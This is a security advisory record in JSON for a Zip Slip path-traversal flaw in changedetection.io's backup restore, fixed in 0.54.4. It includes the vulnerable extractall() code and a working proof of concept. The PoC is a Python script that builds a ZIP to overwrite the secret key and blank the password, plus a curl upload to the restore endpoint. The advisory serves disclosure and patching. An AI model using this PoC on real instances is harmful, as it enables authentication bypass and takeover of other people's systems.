CVE-2026-29065: Changedetection.io Changedetection.io Has Zip Slip Vulnerability Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25g8-2mcf-fcx9",
  "modified" : "2026-03-06T21:57:22Z",
  "published" : "2026-03-04T21:28:42Z",
  "aliases" : [ "CVE-2026-29065" ],
  "summary" : "changedetection.io has Zip Slip vulnerability in the backup restore functionality",
  "details" : "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "changedetection.io"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.54.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.54.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgtlmoon/changedetection.io"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T21:28:42Z",
    "nvd_published_at" : "2026-03-06T07:16:02Z"
  }
}